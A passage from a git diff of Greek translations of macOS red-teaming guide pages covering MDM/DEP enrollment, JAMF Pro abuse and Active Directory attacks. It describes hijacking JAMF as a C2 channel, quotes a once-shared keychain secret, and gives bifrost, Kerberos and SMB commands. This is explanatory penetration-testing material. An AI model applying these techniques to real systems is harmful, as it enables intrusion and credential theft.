χρειάζεστε να **υπογραφεί το CSR σας από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, θα μπορούσατε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm). +Για να τρέξετε το δικό σας MDM, χρειάζεστε **το CSR σας υπογεγραμμένο από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm). -Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστη CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε. +Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστο CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε. Για να εγγραφεί η συσκευή σε ένα MDM, χρειάζεται να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί). @@ -30,11 +31,11 @@ macos-mdm/ ### Κατάχρηση JAMF PRO -Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...). +Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενή payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διαδικασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...). #### Αυτοεγγραφή JAMF -Πηγαίνετε σε μια σελίδα όπως `https://.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν την έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**. +Πηγαίνετε σε μια σελίδα όπως `https://.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**. Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying. @@ -46,7 +47,7 @@ macos-mdm/
-Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain, το οποίο κατά την ανακάλυψη ήταν **κοινό** σε όλους και ήταν: **`jk23ucnq91jfu9aj`**.\ +Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\ Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`** #### Κατάληψη Συσκευής JAMF @@ -60,12 +61,12 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist is_virtual_machine jss_url -https://halbornasd.jamfcloud.com/ +https://subdomain-company.jamfcloud.com/ last_management_framework_change_id 4 [...] ``` -Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** για να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2. +Έτσι, ένας επιτιθέμενος θα μπορούσε να ρίξει ένα κακόβουλο πακέτο (`pkg`) που **επικαλύπτει αυτό το αρχείο** κατά την εγκατάσταση, ρυθμίζοντας το **URL σε έναν Mythic C2 listener από έναν Typhon agent** ώστε να μπορεί τώρα να εκμεταλλευτεί το JAMF ως C2. ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 @@ -85,9 +86,9 @@ sudo jamf policy -id 0

a

-Μπορείς επίσης να παρακολουθείς την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**. +Μπορείς επίσης να παρακολουθήσεις την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**. -Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθείς `ps aux | grep -i jamf` (χωρίς καν να είσαι root). +Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθήσεις `ps aux | grep -i jamf` (χωρίς καν να είσαι root). Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας. @@ -95,22 +96,26 @@ sudo jamf policy -id 0 Και επίσης για τα **MacOS** "ειδικά" **δίκτυα** **πρωτοκόλλων**: + {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md {{#endref}} ## Active Directory -Σε ορισμένες περιπτώσεις θα διαπιστώσεις ότι ο **υπολογιστής MacOS είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσεις να **καταγράψεις** τον ενεργό κατάλογο όπως είσαι συνηθισμένος. Βρες κάποια **βοήθεια** στις παρακάτω σελίδες: +Σε ορισμένες περιπτώσεις θα διαπιστώσεις ότι ο **MacOS υπολογιστής είναι συνδεδεμένος σε ένα AD**. Σε αυτό το σενάριο θα πρέπει να προσπαθήσεις να **καταγράψεις** τον ενεργό κατάλογο όπως είσαι συνηθισμένος. Βρες κάποια **βοήθεια** στις παρακάτω σελίδες: + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} + {{#ref}} ../../windows-hardening/active-directory-methodology/ {{#endref}} + {{#ref}} ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} @@ -119,13 +124,13 @@ sudo jamf policy -id 0 ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` -Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos: +Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για MacOS που επιτρέπουν την αυτόματη καταμέτρηση του AD και την αλληλεπίδραση με το kerberos: - [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts. - [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για να αλληλεπιδρά με τα APIs Heimdal krb5 σε macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο. -- [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory. +- [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση του Active Directory. -### Πληροφορίες Τομέα +### Domain Information ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` @@ -133,8 +138,8 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil Οι τρεις τύποι χρηστών MacOS είναι: -- **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν είναι συνδεδεμένοι με κανέναν τρόπο στο Active Directory. -- **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για αυθεντικοποίηση. +- **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο με το Active Directory. +- **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για να αυθεντικοποιηθούν. - **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους. Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\ @@ -174,7 +179,7 @@ dsconfigad -show ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` -Είναι δυνατόν να αποκτήσετε τον κωδικό πρόσβασης **`Computer$`** μέσα από το System keychain. +Είναι δυνατή η πρόσβαση στον **`Computer$`** κωδικό πρόσβασης μέσα στο System keychain. ### Over-Pass-The-Hash @@ -194,7 +199,7 @@ bifrost --action asktgt --username test_lab_admin \ bifrost --action asktgs --spn [service] --domain [domain.com] \ --username [user] --hash [hash] --enctype [enctype] ``` -Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινές χρήσεις σε άλλους υπολογιστές: +Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point @@ -209,7 +214,7 @@ macos-keychain.md ## Εξωτερικές Υπηρεσίες -Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως github, aws...) μέσω του OneLogin. +Η Red Teaming στο MacOS διαφέρει από τη συνηθισμένη Red Teaming στα Windows, καθώς συνήθως **το MacOS είναι ενσωματωμένο με πολλές εξωτερικές πλατφόρμες απευθείας**. Μια κοινή ρύθμιση του MacOS είναι η πρόσβαση στον υπολογιστή χρησιμοποιώντας **συνδεδεμένα διαπιστευτήρια OneLogin και πρόσβαση σε πολλές εξωτερικές υπηρεσίες** (όπως το github, aws...) μέσω του OneLogin. ## Διάφορες τεχνικές Red Team diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index fb151a282..cb4036165 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -**Για να μάθετε για τα macOS MDMs, ελέγξτε:** +**Για να μάθετε για τα macOS MDM, ελέγξτε:** - [https://www.youtube.com/watch?v=ku8jZe-MHUU](https://www.youtube.com/watch?v=ku8jZe-MHUU) - [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe) @@ -11,23 +11,23 @@ ### **Επισκόπηση MDM (Διαχείριση Κινητών Συσκευών)** -[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικού χρήστη όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: +[Διαχείριση Κινητών Συσκευών](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) χρησιμοποιείται για την εποπτεία διαφόρων συσκευών τελικών χρηστών όπως smartphones, laptops και tablets. Ιδιαίτερα για τις πλατφόρμες της Apple (iOS, macOS, tvOS), περιλαμβάνει ένα σύνολο εξειδικευμένων χαρακτηριστικών, APIs και πρακτικών. Η λειτουργία του MDM εξαρτάται από έναν συμβατό διακομιστή MDM, ο οποίος είναι είτε εμπορικά διαθέσιμος είτε ανοιχτού κώδικα, και πρέπει να υποστηρίζει το [Πρωτόκολλο MDM](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Κύρια σημεία περιλαμβάνουν: - Κεντρικός έλεγχος των συσκευών. -- Εξάρτηση από έναν διακομιστή MDM που συμμορφώνεται με το πρωτόκολλο MDM. +- Εξάρτηση από έναν διακομιστή MDM που τηρεί το πρωτόκολλο MDM. - Ικανότητα του διακομιστή MDM να αποστέλλει διάφορες εντολές στις συσκευές, για παράδειγμα, απομακρυσμένη διαγραφή δεδομένων ή εγκατάσταση ρυθμίσεων. ### **Βασικά του DEP (Πρόγραμμα Εγγραφής Συσκευών)** -Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Βασικά στοιχεία περιλαμβάνουν: +Το [Πρόγραμμα Εγγραφής Συσκευών](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) που προσφέρει η Apple απλοποιεί την ενσωμάτωση της Διαχείρισης Κινητών Συσκευών (MDM) διευκολύνοντας τη ρύθμιση χωρίς επαφή για συσκευές iOS, macOS και tvOS. Το DEP αυτοματοποιεί τη διαδικασία εγγραφής, επιτρέποντας στις συσκευές να είναι λειτουργικές αμέσως μόλις ανοίξουν, με ελάχιστη παρέμβαση από τον χρήστη ή τον διαχειριστή. Σημαντικές πτυχές περιλαμβάνουν: -- Δίνει τη δυνατότητα στις συσκευές να εγγράφονται αυτόματα σε έναν προκαθορισμένο διακομιστή MDM κατά την αρχική ενεργοποίηση. +- Επιτρέπει στις συσκευές να εγγράφονται αυτόματα σε έναν προκαθορισμένο διακομιστή MDM κατά την αρχική ενεργοποίηση. - Κυρίως ωφέλιμο για καινούργιες συσκευές, αλλά εφαρμόσιμο και για συσκευές που επαναρυθμίζονται. - Διευκολύνει μια απλή ρύθμιση, κάνοντάς τις συσκευές έτοιμες για οργανωτική χρήση γρήγορα. -### **Σκέψεις Ασφαλείας** +### **Σκέψη Ασφαλείας** -Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, ενώ είναι ωφέλιμη, μπορεί επίσης να θέσει σε κίνδυνο την ασφάλεια. Εάν τα προστατευτικά μέτρα δεν επιβληθούν επαρκώς για την εγγραφή MDM, οι επιτιθέμενοι μπορεί να εκμεταλλευτούν αυτή τη διαδικασία για να εγγραφούν στη συσκευή τους στον διακομιστή MDM της οργάνωσης, προσποιούμενοι ότι είναι εταιρική συσκευή. +Είναι κρίσιμο να σημειωθεί ότι η ευκολία εγγραφής που παρέχει το DEP, αν και ωφέλιμη, μπορεί επίσης να θέσει σε κίνδυνο την ασφάλεια. Εάν τα προστατευτικά μέτρα δεν επιβληθούν επαρκώς για την εγγραφή MDM, οι επιτιθέμενοι μπορεί να εκμεταλλευτούν αυτή τη διαδικασία για να εγγραφούν στη συσκευή τους στον διακομιστή MDM της οργάνωσης, προσποιούμενοι ότι είναι εταιρική συσκευή. > [!CAUTION] > **Ειδοποίηση Ασφαλείας**: Η απλοποιημένη εγγραφή DEP θα μπορούσε ενδεχομένως να επιτρέψει την μη εξουσιοδοτημένη εγγραφή συσκευών στον διακομιστή MDM της οργάνωσης εάν δεν υπάρχουν κατάλληλες προστασίες. @@ -60,7 +60,7 @@ - Ο λεγόμενος [DEP "cloud service" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Αυτό χρησιμοποιείται από τους διακομιστές MDM για να συσχετίσουν τα προφίλ DEP με συγκεκριμένες συσκευές. - Το [DEP API που χρησιμοποιείται από τους Εξουσιοδοτημένους Μεταπωλητές της Apple](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html) για να εγγράψουν συσκευές, να ελέγξουν την κατάσταση εγγραφής και να ελέγξουν την κατάσταση συναλλαγής. - Το μη τεκμηριωμένο ιδιωτικό DEP API. Αυτό χρησιμοποιείται από τις Συσκευές Apple για να ζητήσουν το προφίλ DEP τους. Στο macOS, το δυαδικό `cloudconfigurationd` είναι υπεύθυνο για την επικοινωνία μέσω αυτού του API. -- Πιο σύγχρονο και **JSON** βασισμένο (σε σχέση με plist) +- Πιο σύγχρονο και **JSON** βασισμένο (σε σύγκριση με plist) - Η Apple παρέχει ένα **OAuth token** στον προμηθευτή MDM **DEP "cloud service" API** @@ -70,12 +70,12 @@ - συγχρονίζει τα “DEP profiles” στην Apple από τον διακομιστή MDM (παραδίδεται από την Apple στη συσκευή αργότερα) - Ένα DEP “profile” περιέχει: - URL διακομιστή προμηθευτή MDM -- Πρόσθετα αξιόπιστα πιστοποιητικά για το URL του διακομιστή (προαιρετική pinning) +- Πρόσθετα αξιόπιστα πιστοποιητικά για το URL διακομιστή (προαιρετική pinning) - Πρόσθετες ρυθμίσεις (π.χ. ποιες οθόνες να παραλειφθούν στον Βοηθό Ρύθμισης) ## Αριθμός Σειράς -Οι συσκευές Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. +Οι συσκευές της Apple που κατασκευάστηκαν μετά το 2010 έχουν γενικά **12-χαρακτήρων αλφαριθμητικούς** αριθμούς σειράς, με τα **πρώτα τρία ψηφία να αντιπροσωπεύουν την τοποθεσία κατασκευής**, τα επόμενα **δύο** να υποδεικνύουν το **έτος** και την **εβδομάδα** κατασκευής, τα επόμενα **τρία** ψηφία να παρέχουν έναν **μοναδικό** **αναγνωριστικό**, και τα **τελευταία** **τέσσερα** ψηφία να αντιπροσωπεύουν τον **αριθμό μοντέλου**. {{#ref}} macos-serial-number.md @@ -83,9 +83,9 @@ macos-serial-number.md ## Βήματα για εγγραφή και διαχείριση -1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Δημιουργείται η εγγραφή για τη νέα συσκευή +1. Δημιουργία εγγραφής συσκευής (Μεταπωλητής, Apple): Η εγγραφή για τη νέα συσκευή δημιουργείται 2. Ανάθεση εγγραφής συσκευής (Πελάτης): Η συσκευή ανατίθεται σε έναν διακομιστή MDM -3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και στέλνει τα προφίλ DEP στην Apple +3. Συγχρονισμός εγγραφής συσκευής (Προμηθευτής MDM): Ο MDM συγχρονίζει τις εγγραφές συσκευών και σπρώχνει τα προφίλ DEP στην Apple 4. Έλεγχος DEP (Συσκευή): Η συσκευή αποκτά το προφίλ DEP της 5. Ανάκτηση προφίλ (Συσκευή) 6. Εγκατάσταση προφίλ (Συσκευή) α. συμπεριλαμβανομένων των payloads MDM, SCEP και root CA @@ -93,9 +93,9 @@ macos-serial-number.md ![](<../../../images/image (694).png>) -Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει λειτουργίες που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. +Το αρχείο `/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/System/Library/PrivateFrameworks/ConfigurationProfiles.framework/ConfigurationProfiles.tbd` εξάγει συναρτήσεις που μπορούν να θεωρηθούν **υψηλού επιπέδου "βήματα"** της διαδικασίας εγγραφής. -### Βήμα 4: Έλεγχος DEP - Λήψη του Ενεργοποιητικού Εγγράφου +### Βήμα 4: Έλεγχος DEP - Λήψη της Εγγραφής Ενεργοποίησης Αυτό το μέρος της διαδικασίας συμβαίνει όταν ένας **χρήστης εκκινεί ένα Mac για πρώτη φορά** (ή μετά από πλήρη διαγραφή) @@ -103,14 +103,14 @@ macos-serial-number.md ή όταν εκτελείται `sudo profiles show -type enrollment` -- Προσδιορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP** -- Το Ενεργοποιητικό Έγγραφο είναι το εσωτερικό όνομα για το **DEP “profile”** +- Καθορίστε **αν η συσκευή είναι ενεργοποιημένη για DEP** +- Η Εγγραφή Ενεργοποίησης είναι το εσωτερικό όνομα για το **DEP “profile”** - Ξεκινά μόλις η συσκευή συνδεθεί στο Διαδίκτυο - Οδηγείται από **`CPFetchActivationRecord`** -- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτή τη διεργασία** για να ανακτήσει το ενεργοποιητικό έγγραφο. +- Υλοποιείται από **`cloudconfigurationd`** μέσω XPC. Ο **"Βοηθός Ρύθμισης"** (όταν η συσκευή εκκινείται για πρώτη φορά) ή η εντολή **`profiles`** θα **επικοινωνήσει με αυτόν τον δαίμονα** για να ανακτήσει την εγγραφή ενεργοποίησης. - LaunchDaemon (τρέχει πάντα ως root) -Ακολουθεί μερικά βήματα για να αποκτήσει το Ενεργοποιητικό Έγγραφο που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** +Ακολουθεί μερικά βήματα για να αποκτήσει την Εγγραφή Ενεργοποίησης που εκτελείται από **`MCTeslaConfigurationFetcher`**. Αυτή η διαδικασία χρησιμοποιεί μια κρυπτογράφηση που ονομάζεται **Absinthe** 1. Ανάκτηση **πιστοποιητικού** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) @@ -119,7 +119,7 @@ macos-serial-number.md 3. Ανάκτηση **κλειδιού συνεδρίας** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. Δημιουργία της συνεδρίας (**`NACKeyEstablishment`**) -5. Υποβολή αιτήματος +5. Κάντε το αίτημα 1. POST στο [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) στέλνοντας τα δεδομένα `{ "action": "RequestProfileConfiguration", "sn": "" }` 2. Το JSON payload κρυπτογραφείται χρησιμοποιώντας Absinthe (**`NACSign`**) 3. Όλα τα αιτήματα μέσω HTTPs, χρησιμοποιούνται ενσωματωμένα root πιστοποιητικά @@ -128,76 +128,20 @@ macos-serial-number.md Η απάντηση είναι ένα JSON λεξικό με ορισμένα σημαντικά δεδομένα όπως: -- **url**: URL του διακομιστή προμηθευτή MDM για το ενεργοποιητικό προφίλ +- **url**: URL του διακομιστή προμηθευτή MDM για το προφίλ ενεργοποίησης - **anchor-certs**: Πίνακας DER πιστοποιητικών που χρησιμοποιούνται ως αξιόπιστοι άγκυρες ### **Βήμα 5: Ανάκτηση Προφίλ** ![](<../../../images/image (444).png>) -- Αίτημα που αποστέλλεται στο **url που παρέχεται στο DEP profile**. -- **Πιστοποιητικά άγκυρας** χρησιμοποιούνται για **αξιολόγηση εμπιστοσύνης** εάν παρέχονται. -- Υπενθύμιση: η **property anchor_certs** του DEP profile +- Αίτημα που αποστέλλεται στο **url που παρέχεται στο προφίλ DEP**. +- **Πιστοποιητικά άγκυρας** χρησιμοποιούνται για **αξιολόγηση εμπιστοσύνης** αν παρέχονται. +- Υπενθύμιση: η **property anchor_certs** του προφίλ DEP - **Το αίτημα είναι ένα απλό .plist** με αναγνώριση συσκευής - Παραδείγματα: **UDID, έκδοση OS**. - CMS-υπογεγραμμένο, DER-κωδικοποιημένο - Υπογεγραμμένο χρησιμοποιώντας το **πιστοποιητικό ταυτότητας συσκευής (από APNS)** - Η **αλυσίδα πιστοποιητικών** περιλαμβάνει ληγμένο **Apple iPhone Device CA** -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>) - -### Βήμα 6: Εγκατάσταση Προφίλ - -- Μόλις ανακτηθεί, **το προφίλ αποθηκεύεται στο σύστημα** -- Αυτό το βήμα ξεκινά αυτόματα (εάν είναι στον **βοηθό ρύθμισης**) -- Οδηγείται από **`CPInstallActivationProfile`** -- Υλοποιείται από το mdmclient μέσω XPC -- LaunchDaemon (ως root) ή LaunchAgent (ως χρήστης), ανάλογα με το πλαίσιο -- Τα προφίλ ρυθμίσεων έχουν πολλαπλά payloads προς εγκατάσταση -- Το πλαίσιο έχει αρχιτεκτονική βασισμένη σε plugins για την εγκατάσταση προφίλ -- Κάθε τύπος payload σχετίζεται με ένα plugin -- Μπορεί να είναι XPC (στο πλαίσιο) ή κλασικό Cocoa (στο ManagedClient.app) -- Παράδειγμα: -- Τα Payloads Πιστοποιητικών χρησιμοποιούν CertificateService.xpc - -Συνήθως, το **ενεργοποιητικό προφίλ** που παρέχεται από έναν προμηθευτή MDM θα **περιλαμβάνει τα εξής payloads**: - -- `com.apple.mdm`: για **εγγραφή** της συσκευής στο MDM -- `com.apple.security.scep`: για την ασφαλή παροχή ενός **πιστοποιητικού πελάτη** στη συσκευή. -- `com.apple.security.pem`: για **εγκατάσταση αξιόπιστων CA πιστοποιητικών** στο Keychain του Συστήματος της συσκευής. -- Η εγκατάσταση του payload MDM ισοδυναμεί με **έλεγχο MDM στην τεκμηρίωση** -- Το payload **περιέχει βασικές ιδιότητες**: -- - URL Ελέγχου MDM (**`CheckInURL`**) -- URL Ελέγχου Εντολών MDM (**`ServerURL`**) + θέμα APNs για την ενεργοποίησή του -- Για να εγκαταστήσετε το payload MDM, το αίτημα αποστέλλεται στο **`CheckInURL`** -- Υλοποιείται στο **`mdmclient`** -- Το payload MDM μπορεί να εξαρτάται από άλλα payloads -- Επιτρέπει **αιτήματα να είναι pinned σε συγκεκριμένα πιστοποιητικά**: -- Ιδιότητα: **`CheckInURLPinningCertificateUUIDs`** -- Ιδιότητα: **`ServerURLPinningCertificateUUIDs`** -- Παρέχεται μέσω payload PEM -- Επιτρέπει στη συσκευή να αποδοθεί με ένα πιστοποιητικό ταυτότητας: -- Ιδιότητα: IdentityCertificateUUID -- Παρέχεται μέσω payload SCEP - -### **Βήμα 7: Ακρόαση για εντολές MDM** - -- Αφού ολοκληρωθεί ο έλεγχος MDM, ο προμηθευτής μπορεί να **εκδώσει ειδοποιήσεις push χρησιμοποιώντας APNs** -- Κατά την παραλαβή, διαχειρίζεται από το **`mdmclient`** -- Για να ελέγξει τις εντολές MDM, το αίτημα αποστέλλεται στο ServerURL -- Χρησιμοποιεί το προηγουμένως εγκατεστημένο payload MDM: -- **`ServerURLPinningCertificateUUIDs`** για pinning του αιτήματος -- **`IdentityCertificateUUID`** για το πιστοποιητικό πελάτη TLS - -## Επιθέσεις - -### Εγγραφή Συσκευών σε Άλλες Οργανώσεις - -Όπως έχει σχολιαστεί προηγουμένως, για να προσπαθήσετε να εγγραφείτε μια συσκευή σε μια οργάνωση **χρειάζεται μόνο ένας Αριθμός Σειράς που ανήκει σε αυτή την Οργάνωση**. Μόλις η συσκευή εγγραφεί, πολλές οργανώσεις θα εγκαταστήσουν ευαίσθητα δεδομένα στη νέα συσκευή: πιστοποιητικά, εφαρμογές, κωδικούς πρόσβασης WiFi, ρυθμίσεις VPN [και ούτω καθεξής](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\ -Επομένως, αυτό θα μπορούσε να 